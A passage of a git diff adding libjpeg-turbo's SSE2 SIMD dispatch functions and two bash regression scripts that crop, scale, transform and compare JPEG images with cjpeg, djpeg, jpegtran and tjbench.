coef_block, output_buf, + output_col); +} + +GLOBAL(int) +jsimd_can_huff_encode_one_block(void) +{ + init_simd(); + + if (DCTSIZE != 8) + return 0; + if (sizeof(JCOEF) != 2) + return 0; + + if ((simd_support & JSIMD_SSE2) && simd_huffman && + IS_ALIGNED_SSE(jconst_huff_encode_one_block)) + return 1; + + return 0; +} + +GLOBAL(JOCTET *) +jsimd_huff_encode_one_block(void *state, JOCTET *buffer, JCOEFPTR block, + int last_dc_val, c_derived_tbl *dctbl, + c_derived_tbl *actbl) +{ + return jsimd_huff_encode_one_block_sse2(state, buffer, block, last_dc_val, + dctbl, actbl); +} + +GLOBAL(int) +jsimd_can_encode_mcu_AC_first_prepare(void) +{ + init_simd(); + + if (DCTSIZE != 8) + return 0; + if (sizeof(JCOEF) != 2) + return 0; + if ((simd_support & JSIMD_SSE2) && simd_huffman) + return 1; + + return 0; +} + +GLOBAL(void) +jsimd_encode_mcu_AC_first_prepare(const JCOEF *block, + const int *jpeg_natural_order_start, int Sl, + int Al, UJCOEF *values, size_t *zerobits) +{ + jsimd_encode_mcu_AC_first_prepare_sse2(block, jpeg_natural_order_start, + Sl, Al, values, zerobits); +} + +GLOBAL(int) +jsimd_can_encode_mcu_AC_refine_prepare(void) +{ + init_simd(); + + if (DCTSIZE != 8) + return 0; + if (sizeof(JCOEF) != 2) + return 0; + if ((simd_support & JSIMD_SSE2) && simd_huffman) + return 1; + + return 0; +} + +GLOBAL(int) +jsimd_encode_mcu_AC_refine_prepare(const JCOEF *block, + const int *jpeg_natural_order_start, int Sl, + int Al, UJCOEF *absvalues, size_t *bits) +{ + return jsimd_encode_mcu_AC_refine_prepare_sse2(block, + jpeg_natural_order_start, + Sl, Al, absvalues, bits); +} diff --git a/lib/libjpeg-turbo/test/croptest.in b/lib/libjpeg-turbo/test/croptest.in new file mode 100755 index 0000000..bf23cad --- /dev/null +++ b/lib/libjpeg-turbo/test/croptest.in @@ -0,0 +1,95 @@ +#!/bin/bash + +set -u +set -e +trap onexit INT +trap onexit TERM +trap onexit EXIT + +onexit() +{ + if [ -d $OUTDIR ]; then + rm -rf $OUTDIR + fi +} + +runme() +{ + echo \*\*\* $* + $* +} + +IMAGE=vgl_6548_0026a.bmp +WIDTH=128 +HEIGHT=95 +IMGDIR=@CMAKE_SOURCE_DIR@/testimages +OUTDIR=`mktemp -d /tmp/__croptest_output.XXXXXX` +EXEDIR=@CMAKE_BINARY_DIR@ + +if [ -d $OUTDIR ]; then + rm -rf $OUTDIR +fi +mkdir -p $OUTDIR + +exec >$EXEDIR/test/croptest.log + +echo "============================================================" +echo "$IMAGE ($WIDTH x $HEIGHT)" +echo "============================================================" +echo + +for PROGARG in "" -progressive; do + + cp $IMGDIR/$IMAGE $OUTDIR + basename=`basename $IMAGE .bmp` + echo "------------------------------------------------------------" + echo "Generating test images" + echo "------------------------------------------------------------" + echo + runme $EXEDIR/cjpeg $PROGARG -grayscale -outfile $OUTDIR/${basename}_GRAY.jpg $IMGDIR/${basename}.bmp + runme $EXEDIR/cjpeg $PROGARG -sample 2x2 -outfile $OUTDIR/${basename}_420.jpg $IMGDIR/${basename}.bmp + runme $EXEDIR/cjpeg $PROGARG -sample 2x1 -outfile $OUTDIR/${basename}_422.jpg $IMGDIR/${basename}.bmp + runme $EXEDIR/cjpeg $PROGARG -sample 1x2 -outfile $OUTDIR/${basename}_440.jpg $IMGDIR/${basename}.bmp + runme $EXEDIR/cjpeg $PROGARG -sample 1x1 -outfile $OUTDIR/${basename}_444.jpg $IMGDIR/${basename}.bmp + echo + + for NSARG in "" -nosmooth; do + + for COLORSARG in "" "-colors 256 -dither none -onepass"; do + + for Y in {0..16}; do + + for H in {1..16}; do + + X=$(( (Y*16)%128 )) + W=$(( WIDTH-X-7 )) + if [ $Y -le 15 ]; then + CROPSPEC="${W}x${H}+${X}+${Y}" + else + Y2=$(( HEIGHT-H )); + CROPSPEC="${W}x${H}+${X}+${Y2}" + fi + + echo "------------------------------------------------------------" + echo $PROGARG $NSARG $COLORSARG -crop $CROPSPEC + echo "------------------------------------------------------------" + echo + for samp in GRAY 420 422 440 444; do + $EXEDIR/djpeg $NSARG $COLORSARG -rgb -outfile $OUTDIR/${basename}_${samp}_full.ppm $OUTDIR/${basename}_${samp}.jpg + magick $OUTDIR/${basename}_${samp}_full.ppm -crop $CROPSPEC $OUTDIR/${basename}_${samp}_ref.ppm + runme $EXEDIR/djpeg $NSARG $COLORSARG -crop $CROPSPEC -rgb -outfile $OUTDIR/${basename}_${samp}.ppm $OUTDIR/${basename}_${samp}.jpg + runme cmp $OUTDIR/${basename}_${samp}.ppm $OUTDIR/${basename}_${samp}_ref.ppm + done + echo + + done + + done + + done + + done + +done + +echo SUCCESS! diff --git a/lib/libjpeg-turbo/test/tjbenchtest.in b/lib/libjpeg-turbo/test/tjbenchtest.in new file mode 100755 index 0000000..96689a5 --- /dev/null +++ b/lib/libjpeg-turbo/test/tjbenchtest.in @@ -0,0 +1,453 @@ +#!/bin/bash + +set -u +set -e +trap onexit INT +trap onexit TERM +trap onexit EXIT + +onexit() +{ + if [ -d $OUTDIR ]; then + rm -rf $OUTDIR + fi +} + +runme() +{ + echo \*\*\* $* + "$@" +} + +EXT=bmp +IMAGES="vgl_5674_0098.${EXT} vgl_6434_0018a.${EXT} vgl_6548_0026a.${EXT} shira_bird8.${EXT}" +IMGDIR=@CMAKE_SOURCE_DIR@/testimages +OUTDIR=`mktemp -d /tmp/__tjbenchtest_output.XXXXXX` +EXEDIR=@CMAKE_BINARY_DIR@ +JAVA="@Java_JAVA_EXECUTABLE@" +JAVAARGS="-cp $EXEDIR/java/turbojpeg.jar -Djava.library.path=$EXEDIR" +TJBENCH=$EXEDIR/tjbench +BMPARG= +NSARG= +YUVARG= +ALLOC=0 +ALLOCARG= +ENTROPYARG= +JAVAARG= +LOSSLSARG= +LOSSLSPSV= +TJQUAL=95 +x1SUBSAMP="444 GRAY" +x24SUBSAMP="422 440 420 411 441" +ALLSUBSAMP="444 422 440 420 411 441 GRAY" +PRECISION=8 +if [ "$EXT" = "bmp" ]; then BMPARG=-b; fi + +if [ -d $OUTDIR ]; then + rm -rf $OUTDIR +fi +mkdir -p $OUTDIR + +while [ $# -gt 0 ]; do + case "$1" in + -yuv) + NSARG=-nos + YUVARG=-yuv + +# NOTE: The combination of tj3EncodeYUV*() and tj3CompressFromYUV*() does not +# always produce bitwise-identical results to tj3Compress*() if subsampling is +# enabled. In both cases, if the image width or height are not evenly +# divisible by the MCU width/height, then the bottom and/or right edge are +# expanded. However, the libjpeg code performs this expansion prior to +# downsampling, and TurboJPEG performs it in tj3CompressFromYUV*(), which is +# after downsampling. Thus, the two will agree only if the width/height along +# each downsampled dimension is an odd number or is evenly divisible by the MCU +# width/height. This disagreement basically amounts to a round-off error, but +# there is no easy way around it, so for now, we just test the only image that +# works. (NOTE: shira_bird8 does not suffer from the above issue, but it +# suffers from an unrelated problem whereby the combination of +# tj3DecompressToYUV*() and tj3DecodeYUV*() does not produce bitwise-identical +# results to tj3Decompress*() if decompression scaling is enabled. This latter +# phenomenon is not yet fully understood but is also believed to be some sort +# of round-off error.) + IMAGES="vgl_6548_0026a.${EXT}" + ;; + -alloc) + ALLOCARG=-alloc + ALLOC=1 + ;; + -java) + JAVAARG=-java + TJBENCH="$JAVA $JAVAARGS TJBench" + ;; + -optimize) + ENTROPYARG=-optimize + ;; + -progressive) + if [ "$ENTROPYARG" = "-arithmetic" ]; then + ENTROPYARG=-progressive-arithmetic + else + ENTROPYARG=-progressive + fi + ;; + -arithmetic) + if [ "$ENTROPYARG" = "-progressive" ]; then + ENTROPYARG=-progressive-arithmetic + else + ENTROPYARG=-arithmetic + fi + ;; + -lossless) + LOSSLSARG="-lossless" + LOSSLSPSV=4 + TJQUAL=4 + x1SUBSAMP=444 + x24SUBSAMP=444 + ALLSUBSAMP=444 + ;; + -precision) + shift + PRECISION=$1 + if [ $PRECISION != 8 ]; then + EXT=ppm + IMAGES="monkey16.${EXT}" + BMPARG= + fi + ;; + esac + shift +done + +if [ $PRECISION = 8 -a "$YUVARG" = "" ]; then + if [ "$ENTROPYARG" = "-optimize" ]; then + IMAGES="vgl_6434_0018a.${EXT}" + elif [ "$ENTROPYARG" = "-progressive" ]; then + IMAGES="vgl_6548_0026a.${EXT}" + elif [ "$ENTROPYARG" = "-arithmetic" -o \ + "$ENTROPYARG" = "-progressive-arithmetic" ]; then + IMAGES="shira_bird8.${EXT}" + fi +fi + +exec >$EXEDIR/test/tjbenchtest$JAVAARG$YUVARG$ALLOCARG$ENTROPYARG$LOSSLSARG-$PRECISION.log + +ALLOCARG=${ALLOCARG//-alloc/-al} +ENTROPYARG=${ENTROPYARG//-optimize/-o} +ENTROPYARG=${ENTROPYARG//-progressive-arithmetic/-pro -a} +ENTROPYARG=${ENTROPYARG//-progressive/-pro} +ENTROPYARG=${ENTROPYARG//-arithmetic/-a} +LOSSLSARG=${LOSSLSARG//-lossless/-l} + +XFORMNAME=(hflip vflip transpose transverse rot90 rot180 rot270) +XFORMARGS=("-f h -r 2" "-f v" "-t -r 1b" -transv "-ro 90 -r 1" "-ro 180" "-ro 270") + +# Standard tests +for image in $IMAGES; do + + cp $IMGDIR/$image $OUTDIR + basename=`basename $image .${EXT}` + r1barg= + if [ "$LOSSLSARG" != "-l" ]; then + r1barg="-r 1b" + fi + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc fa $ENTROPYARG $LOSSLSARG $LOSSLSPSV -gr -outf $OUTDIR/${basename}_GRAY_fast_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc fa $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 1x4 -r 2 -outf $OUTDIR/${basename}_441_fast_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc fa $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 4x1 -r 1 -outf $OUTDIR/${basename}_411_fast_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc fa $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 2x2 -outf $OUTDIR/${basename}_420_fast_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc fa $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 1x2 $r1barg -outf $OUTDIR/${basename}_440_fast_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc fa $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 2x1 -outf $OUTDIR/${basename}_422_fast_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc fa $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 1x1 -outf $OUTDIR/${basename}_444_fast_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc i $ENTROPYARG $LOSSLSARG $LOSSLSPSV -gr -outf $OUTDIR/${basename}_GRAY_accurate_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc i $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 1x4 -r 2 -outf $OUTDIR/${basename}_441_accurate_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc i $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 4x1 -r 1 -outf $OUTDIR/${basename}_411_accurate_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc i $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 2x2 -outf $OUTDIR/${basename}_420_accurate_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc i $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 1x2 $r1barg -outf $OUTDIR/${basename}_440_accurate_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc i $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 2x1 -outf $OUTDIR/${basename}_422_accurate_cjpeg.jpg $IMGDIR/${basename}.${EXT} + runme $EXEDIR/cjpeg -q 95 -pre $PRECISION -dc i $ENTROPYARG $LOSSLSARG $LOSSLSPSV -sa 1x1 -outf $OUTDIR/${basename}_444_accurate_cjpeg.jpg $IMGDIR/${basename}.${EXT} + for samp in $ALLSUBSAMP; do + runme $EXEDIR/djpeg -dc fa -rg $NSARG $BMPARG -outf $OUTDIR/${basename}_${samp}_fast_djpeg.${EXT} $OUTDIR/${basename}_${samp}_fast_cjpeg.jpg + runme $EXEDIR/djpeg -dc i -rg $NSARG $BMPARG -outf $OUTDIR/${basename}_${samp}_accurate_djpeg.${EXT} $OUTDIR/${basename}_${samp}_accurate_cjpeg.jpg + done + for samp in $x24SUBSAMP; do + runme $EXEDIR/djpeg -dc fa -nos $BMPARG -outf $OUTDIR/${basename}_${samp}_fast_nosmooth_djpeg.${EXT} $OUTDIR/${basename}_${samp}_fast_cjpeg.jpg + runme $EXEDIR/djpeg -dc i -nos $BMPARG -outf $OUTDIR/${basename}_${samp}_accurate_nosmooth_djpeg.${EXT} $OUTDIR/${basename}_${samp}_accurate_cjpeg.jpg + done + + # Compression + for dct in accurate fast; do + dctarg= + if [ "${dct}" = "fast" ]; then + dctarg="-d f" + fi + runme $TJBENCH $OUTDIR/$image $TJQUAL -pre $PRECISION -pi rgb -q -be 0.01 -w 0 ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + if [ "$LOSSLSARG" != "-l" ]; then + runme $TJBENCH $OUTDIR/$image $TJQUAL -pre $PRECISION -su 440 -r 1b -pi rgb -q -be 0.01 -w 0 ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + runme $TJBENCH $OUTDIR/$image $TJQUAL -pre $PRECISION -su 411 -r 1 -pi rgb -q -be 0.01 -w 0 ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + runme $TJBENCH $OUTDIR/$image $TJQUAL -pre $PRECISION -su 441 -r 2 -pi rgb -q -be 0.01 -w 0 ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + fi + for samp in $ALLSUBSAMP; do + if [ "$LOSSLSARG" = "-l" ]; then + runme cmp $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}.jpg $OUTDIR/${basename}_${samp}_${dct}_cjpeg.jpg + else + runme cmp $OUTDIR/${basename}_${samp}_Q${TJQUAL}.jpg $OUTDIR/${basename}_${samp}_${dct}_cjpeg.jpg + fi + done + done + + for dct in fast accurate; do + dctarg= + if [ "${dct}" = "fast" ]; then + dctarg="-d f" + fi + + # Tiled compression & decompression + runme $TJBENCH $OUTDIR/$image $TJQUAL -pre $PRECISION -pi rgb -ti -q -be 0.01 -w 0 ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + for samp in $x1SUBSAMP; do + if [ $ALLOC = 1 ]; then + if [ "$LOSSLSARG" = "-l" ]; then + runme cmp $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}_full.${EXT} $OUTDIR/${basename}_${samp}_${dct}_djpeg.${EXT} + rm $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}_full.${EXT} + else + runme cmp $OUTDIR/${basename}_${samp}_Q${TJQUAL}_full.${EXT} $OUTDIR/${basename}_${samp}_${dct}_djpeg.${EXT} + rm $OUTDIR/${basename}_${samp}_Q${TJQUAL}_full.${EXT} + fi + else + if [ "$LOSSLSARG" = "-l" ]; then + for i in $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}_[0-9]*x[0-9]*.${EXT} \ + $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}_full.${EXT}; do + runme cmp $i $OUTDIR/${basename}_${samp}_${dct}_djpeg.${EXT} + rm $i + done + else + for i in $OUTDIR/${basename}_${samp}_Q${TJQUAL}_[0-9]*x[0-9]*.${EXT} \ + $OUTDIR/${basename}_${samp}_Q${TJQUAL}_full.${EXT}; do + runme cmp $i $OUTDIR/${basename}_${samp}_${dct}_djpeg.${EXT} + rm $i + done + fi + fi + done + runme $TJBENCH $OUTDIR/$image $TJQUAL -pre $PRECISION -pi rgb -ti -q -be 0.01 -w 0 -nos ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + if [ "$LOSSLSARG" != "-l" ]; then + runme $TJBENCH $OUTDIR/$image $TJQUAL -pre $PRECISION -su 440 -pi rgb -ti -q -be 0.01 -w 0 -nos ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + runme $TJBENCH $OUTDIR/$image $TJQUAL -pre $PRECISION -su 411 -pi rgb -ti -q -be 0.01 -w 0 -nos ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + runme $TJBENCH $OUTDIR/$image $TJQUAL -pre $PRECISION -su 441 -pi rgb -ti -q -be 0.01 -w 0 -nos ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + fi + for samp in $x24SUBSAMP; do + if [ $ALLOC = 1 ]; then + if [ "$LOSSLSARG" = "-l" ]; then + runme cmp $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}_full.${EXT} $OUTDIR/${basename}_${samp}_${dct}_nosmooth_djpeg.${EXT} + rm $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}_full.${EXT} + else + runme cmp $OUTDIR/${basename}_${samp}_Q${TJQUAL}_full.${EXT} $OUTDIR/${basename}_${samp}_${dct}_nosmooth_djpeg.${EXT} + rm $OUTDIR/${basename}_${samp}_Q${TJQUAL}_full.${EXT} + fi + else + if [ "$LOSSLSARG" = "-l" ]; then + for i in $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}_[0-9]*x[0-9]*.${EXT} \ + $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}_full.${EXT}; do + runme cmp $i $OUTDIR/${basename}_${samp}_${dct}_nosmooth_djpeg.${EXT} + rm $i + done + else + for i in $OUTDIR/${basename}_${samp}_Q${TJQUAL}_[0-9]*x[0-9]*.${EXT} \ + $OUTDIR/${basename}_${samp}_Q${TJQUAL}_full.${EXT}; do + # If the tile size is smaller than the MCU size, then there will be + # edge artifacts at the tile boundaries, so the decompressed image + # will not be identical to the untiled decompressed image. + TILESIZE=$(basename $(echo $i | sed 's/.*_//g') .${EXT}) + if [ "$TILESIZE" = "8x8" ]; then + continue + fi + if [ "$TILESIZE" = "16x16" -a \ + \( "${samp}" = "411" -o "${samp}" = "441" \) ]; then + continue + fi + runme cmp $i $OUTDIR/${basename}_${samp}_${dct}_nosmooth_djpeg.${EXT} + rm $i + done + fi + fi + done + + # Tiled decompression + if [ "$LOSSLSARG" != "-l" ]; then + for samp in $x1SUBSAMP; do + runme $TJBENCH $OUTDIR/${basename}_${samp}_Q95.jpg $BMPARG -ti -q -be 0.01 -w 0 ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG + if [ $ALLOC = 1 ]; then + runme cmp $OUTDIR/${basename}_${samp}_Q95_full.${EXT} $OUTDIR/${basename}_${samp}_${dct}_djpeg.${EXT} + rm $OUTDIR/${basename}_${samp}_Q95_full.${EXT} + else + for i in $OUTDIR/${basename}_${samp}_Q95_[0-9]*x[0-9]*.${EXT} \ + $OUTDIR/${basename}_${samp}_Q95_full.${EXT}; do + runme cmp $i $OUTDIR/${basename}_${samp}_${dct}_djpeg.${EXT} + rm $i + done + fi + done + for samp in $x24SUBSAMP; do + runme $TJBENCH $OUTDIR/${basename}_${samp}_Q95.jpg $BMPARG -ti -q -be 0.01 -w 0 -nos ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG + if [ $ALLOC = 1 ]; then + runme cmp $OUTDIR/${basename}_${samp}_Q95_full.${EXT} $OUTDIR/${basename}_${samp}_${dct}_nosmooth_djpeg.${EXT} + rm $OUTDIR/${basename}_${samp}_Q95_full.${EXT} + else + for i in $OUTDIR/${basename}_${samp}_Q95_[0-9]*x[0-9]*.${EXT} \ + $OUTDIR/${basename}_${samp}_Q95_full.${EXT}; do + TILESIZE=$(basename $(echo $i | sed 's/.*_//g') .${EXT}) + if [ "$TILESIZE" = "8x8" ]; then + continue + fi + if [ "$TILESIZE" = "16x16" -a \ + \( "${samp}" = "411" -o "${samp}" = "441" \) ]; then + continue + fi + runme cmp $i $OUTDIR/${basename}_${samp}_${dct}_nosmooth_djpeg.${EXT} + rm $i + done + fi + done + fi + done + + # Partial decompression + if [ "$LOSSLSARG" != "-l" -a "$YUVARG" != "-yuv" ]; then + for samp in $ALLSUBSAMP; do + CROPW8_8=103 + CROPL8_8=16 + CROPW7_8=91 + CROPL7_8=14 + if [ "${samp}" = "411" ]; then + CROPW8_8=87 + CROPL8_8=32 + CROPW7_8=77 + CROPL7_8=28 + fi + runme $EXEDIR/djpeg -rg -cr ${CROPW8_8}x90+${CROPL8_8}+5 $NSARG -outf $OUTDIR/${basename}_${samp}_scale_crop_djpeg.ppm $OUTDIR/${basename}_${samp}_accurate_cjpeg.jpg + runme $TJBENCH $OUTDIR/${basename}_${samp}_Q${TJQUAL}.jpg -cr ${CROPW8_8}X90+${CROPL8_8}+5 -q -be 0.01 -w 0 ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + runme cmp $OUTDIR/${basename}_${samp}_Q${TJQUAL}_full.ppm $OUTDIR/${basename}_${samp}_scale_crop_djpeg.ppm + rm $OUTDIR/${basename}_${samp}_Q${TJQUAL}_full.ppm $OUTDIR/${basename}_${samp}_scale_crop_djpeg.ppm + + runme $EXEDIR/djpeg -rg -s 14/16 -cr ${CROPW7_8}X81+${CROPL7_8}+3 $NSARG -outf $OUTDIR/${basename}_${samp}_scale_crop_djpeg.ppm $OUTDIR/${basename}_${samp}_accurate_cjpeg.jpg + runme $TJBENCH $OUTDIR/${basename}_${samp}_Q${TJQUAL}.jpg -s 7/8 -cr ${CROPW7_8}x81+${CROPL7_8}+3 -q -be 0.01 -w 0 ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + runme cmp $OUTDIR/${basename}_${samp}_Q${TJQUAL}_7_8.ppm $OUTDIR/${basename}_${samp}_scale_crop_djpeg.ppm + rm $OUTDIR/${basename}_${samp}_Q${TJQUAL}_7_8.ppm $OUTDIR/${basename}_${samp}_scale_crop_djpeg.ppm + + runme $EXEDIR/djpeg -rg -s 1/2 -cr 40x40+0+0 $NSARG -outf $OUTDIR/${basename}_${samp}_scale_crop_djpeg.ppm $OUTDIR/${basename}_${samp}_accurate_cjpeg.jpg + runme $TJBENCH $OUTDIR/${basename}_${samp}_Q${TJQUAL}.jpg -s 4/8 -cr 40x40+0+0 -q -be 0.01 -w 0 ${dctarg} $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + runme cmp $OUTDIR/${basename}_${samp}_Q${TJQUAL}_1_2.ppm $OUTDIR/${basename}_${samp}_scale_crop_djpeg.ppm + rm $OUTDIR/${basename}_${samp}_Q${TJQUAL}_1_2.ppm $OUTDIR/${basename}_${samp}_scale_crop_djpeg.ppm + done + fi + + # Scaled decompression + for scale in 2_1 15_8 7_4 13_8 3_2 11_8 5_4 9_8 7_8 3_4 5_8 1_2 3_8 1_4 1_8; do + scalearg=`echo $scale | sed 's/\_/\//g'` + SCALE=$scale + if [ "$LOSSLSARG" = "-l" ]; then + SCALE=full + fi + for samp in $ALLSUBSAMP; do + runme $EXEDIR/djpeg -rg -s ${scalearg} $NSARG $BMPARG -outf $OUTDIR/${basename}_${samp}_${scale}_djpeg.${EXT} $OUTDIR/${basename}_${samp}_accurate_cjpeg.jpg + if [ "$LOSSLSARG" = "-l" ]; then + runme $TJBENCH $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}.jpg $BMPARG -s ${scalearg} -q -be 0.01 -w 0 $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + runme cmp $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}_${SCALE}.${EXT} $OUTDIR/${basename}_${samp}_${scale}_djpeg.${EXT} + rm $OUTDIR/${basename}_LOSSLS_PSV${TJQUAL}_${SCALE}.${EXT} + else + runme $TJBENCH $OUTDIR/${basename}_${samp}_Q${TJQUAL}.jpg $BMPARG -s ${scalearg} -q -be 0.01 -w 0 $YUVARG $ALLOCARG $ENTROPYARG $LOSSLSARG + runme cmp $OUTDIR/${basename}_${samp}_Q${TJQUAL}_${SCALE}.${EXT} $OUTDIR/${basename}_${samp}_${scale}_djpeg.${EXT} + rm $OUTDIR/${basename}_${samp}_Q${TJQUAL}_${SCALE}.${EXT} + fi + done + done + + # Transforms + if [ "$LOSSLSARG" != "-l" ]; then + runme $EXEDIR/jpegtran -icc $IMGDIR/test1.icc -outf $OUTDIR/temp.jpg $OUTDIR/${basename}_444_Q95.jpg + runme mv $OUTDIR/temp.jpg $OUTDIR/${basename}_444_Q95.jpg + for samp in $ALLSUBSAMP; do + for xform in {0..6}; do + runme $EXEDIR/jpegtran -c a ${XFORMARGS[$xform]} -tri -outf $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_jpegtran.jpg $OUTDIR/${basename}_${samp}_Q95.jpg + done + done + for xform in {0..6}; do + for samp in $x1SUBSAMP; do + runme $EXEDIR/djpeg -rg $BMPARG -outf $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_jpegtran.${EXT} $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_jpegtran.jpg + runme $TJBENCH $OUTDIR/${basename}_${samp}_Q95.jpg $BMPARG ${XFORMARGS[$xform]} -ti -q -be 0.01 -w 0 $YUVARG $ALLOCARG $ENTROPYARG + if [ $ALLOC = 1 ]; then + runme cmp $OUTDIR/${basename}_${samp}_Q95_full.${EXT} $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_jpegtran.${EXT} + rm $OUTDIR/${basename}_${samp}_Q95_full.${EXT} + else + for i in $OUTDIR/${basename}_${samp}_Q95_[0-9]*x[0-9]*.${EXT} \ + $OUTDIR/${basename}_${samp}_Q95_full.${EXT}; do + runme cmp $i $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_jpegtran.${EXT} + rm $i + done + fi + done + for samp in $x24SUBSAMP; do + runme $EXEDIR/djpeg -nos -rg $BMPARG -outf $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_jpegtran.${EXT} $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_jpegtran.jpg + runme $TJBENCH $OUTDIR/${basename}_${samp}_Q95.jpg $BMPARG ${XFORMARGS[$xform]} -ti -q -be 0.01 -w 0 -nos $YUVARG $ALLOCARG $ENTROPYARG + if [ $ALLOC = 1 ]; then + runme cmp $OUTDIR/${basename}_${samp}_Q95_full.${EXT} $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_jpegtran.${EXT} + rm $OUTDIR/${basename}_${samp}_Q95_full.${EXT} + else + for i in $OUTDIR/${basename}_${samp}_Q95_[0-9]*x[0-9]*.${EXT} \ + $OUTDIR/${basename}_${samp}_Q95_full.${EXT}; do + TILESIZE=$(basename $(echo $i | sed 's/.*_//g') .${EXT}) + if [ "$TILESIZE" = "8x8" ]; then + continue + fi + if [ "$TILESIZE" = "16x16" -a \ + \( "${samp}" = "411" -o "${samp}" = "441" \) ]; then + continue + fi + runme cmp $i $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_jpegtran.${EXT} + rm $i + done + fi + done + done + + # Grayscale transform + for xform in {0..6}; do + for samp in $ALLSUBSAMP; do + runme $TJBENCH $OUTDIR/${basename}_${samp}_Q95.jpg $BMPARG ${XFORMARGS[$xform]} -ti -q -be 0.01 -w 0 -g $YUVARG $ALLOCARG $ENTROPYARG + if [ $ALLOC = 1 ]; then + runme cmp $OUTDIR/${basename}_${samp}_Q95_full.${EXT} $OUTDIR/${basename}_GRAY_${XFORMNAME[$xform]}_jpegtran.${EXT} + rm $OUTDIR/${basename}_${samp}_Q95_full.${EXT} + else + for i in $OUTDIR/${basename}_${samp}_Q95_[0-9]*x[0-9]*.${EXT} \ + $OUTDIR/${basename}_${samp}_Q95_full.${EXT}; do + TILESIZE=$(basename $(echo $i | sed 's/.*_//g') .${EXT}) + if [ "$TILESIZE" = "8x8" -a \ + "${samp}" != "444" -a "${samp}" != "GRAY" ]; then + continue + fi + if [ "$TILESIZE" = "16x16" -a \ + \( "${samp}" = "411" -o "${samp}" = "441" \) ]; then + continue + fi + runme cmp $i $OUTDIR/${basename}_GRAY_${XFORMNAME[$xform]}_jpegtran.${EXT} + rm $i + done + fi + done + done + + # Transforms with scaling + for xform in {0..6}; do + for samp in $ALLSUBSAMP; do + for scale in 2_1 15_8 7_4 13_8 3_2 11_8 5_4 9_8 7_8 3_4 5_8 1_2 3_8 1_4 1_8; do + scalearg=`echo $scale | sed 's/\_/\//g'` + runme $EXEDIR/djpeg -rg -s ${scalearg} $NSARG $BMPARG -outf $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_${scale}_jpegtran.${EXT} $OUTDIR/${basename}_${samp}_${XFORMNAME[$xform]}_jpegtran.jpg + runme $TJBENCH $OUTDIR/${basename}_${samp}_Q95.jpg $BMPARG ${XFORMARGS[$xform]} -s ${scalearg} -q -be 0.01 -w 0 $YUVARG $ALLOCARG $ENTROPYARG + runme cmp 